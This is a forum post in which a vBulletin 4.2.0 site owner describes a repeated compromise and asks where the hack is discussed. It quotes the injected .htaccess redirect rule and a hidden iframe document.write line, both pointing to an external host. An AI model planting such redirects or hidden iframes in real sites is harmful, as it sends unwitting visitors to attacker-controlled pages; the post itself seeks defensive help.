Looking to dig deeper into how forum was hacked

[eteanga]

Hey,

for a second time, our forum has been hacked. The following happens:

• .htaccess is edited to redirect all queries to another URL
• Javascript files are appended with iFrame code
• New .htaccess files are created in all subfolders, redirecting all queries to another URL

The .htaccess file included this new line:

RewriteRule ^.*$ http://senior-fun-shooters.de/mccd.html?h=XXX [L,R]

iFame code looks like:

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://senior-fun-shooters.de/mccd.html?j=XXX></iframe>');

Forum technical details:

• vBulletin 4.2.0 Patch Level 3
• vbSEO and vbSEO :: Sitemap Generator installed
• GlowHost - Spam-O-Matic installed

This is the second time this has happened, so I suspect there's a known hack allowing these changes to be made. It could be a server permissions problem on our side too. Do you have any pointers for where this hack is already discussed?